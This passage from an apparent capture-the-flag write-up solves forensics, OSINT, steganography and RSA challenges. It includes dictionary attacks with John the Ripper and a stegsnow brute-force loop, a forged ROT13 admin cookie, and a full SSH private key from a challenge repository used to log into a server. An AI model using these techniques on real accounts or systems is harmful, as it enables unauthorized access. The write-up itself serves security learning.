**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we 